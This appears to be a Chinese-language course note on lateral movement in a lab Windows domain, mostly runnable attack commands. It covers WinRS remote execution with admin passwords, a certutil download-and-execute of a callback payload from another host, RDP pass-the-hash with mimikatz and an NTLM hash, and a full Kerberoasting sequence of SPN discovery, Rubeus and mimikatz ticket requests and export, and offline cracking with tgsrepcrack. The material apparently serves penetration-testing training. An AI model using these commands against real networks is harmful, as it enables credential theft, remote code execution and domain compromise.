章内容
IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Kerberos_TGS,GPO&DACL,域控提权,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
域横向移动-WinRM&WinRS-明文&NTLM
利用WinRM服务,采用WinRS连接
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
移动条件:双方都启用的Winrm rs的服务!
使用此服务需要管理员级别凭据
Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。
攻击机开启:
winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"}
1.探针可用:
cs 内置端口扫描5985
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2.连接执行:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami
3.上线CS&MSF:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"
4.CS内置移动-插件
域横向移动-RDP-明文&NTLM
远程桌面服务 支持明文及HASH连接
条件:对方开启RDP服务 远程桌面
RDP连接:
- 直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)
- 建立节点进行连接(使用代理工具) 推荐
- 端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)
1.探针服务:
cs 内置端口扫描3389
tasklist /svc | find "TermService" # 找到对应服务进程的PID netstat -ano | find "PID值" # 找到进程对应的端口号
portscan 192.168.3.0-192.168.3.255 3389 arp 1024
2.探针连接:
CrackMapExec&MSF 批扫用户名密码验证
3.连接执行:
明文连接:
mstsc /console /v:192.168.3.32 /admin
HASH连接:
mimikatz privilege::debug mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin" #mimikatz使用HASH连接
域横向移动-Spn&Kerberos-请求&破解&重写
Kerberoasting 攻击的利用流程:
•SPN服务发现
•请求服务票据(工具判断与powershell脚本判断)
•服务票据的导出(mimikatz导出)
•服务票据的暴力破解(使用密码字典进行RC4协议破解)
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
如需利用需要配置策略加密方式(对比)
可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于服务票证。
将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。
1.扫描与环境主机开启的服务:
powershell setspn -T GOd.org -q */* powershell setspn -T God.org -q */* | findstr "MSSQL"
2.检测可用协议-工具:一对多请求-对域内主机自动请求
https://github.com/GhostPack/Rubeus
Rubeus kerberoast
3.检测可用协议-手工: 点对点请求-请求后产生票据文件
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/fileserv.god.org:1433"
mimikatz kerberos::ask /target:MSSQLSvc/fileserv.god.org:1433
4.导出:
mimikatz kerberos::list /export
5.破解:
#只能对RC4加密协议进行破解,基于pass.txt字典破解
python3 tgsrepcrack.py pass.txt "0-40e00000-webserver$@krbtgt~GOD.ORG-GOD.ORG.kirbi"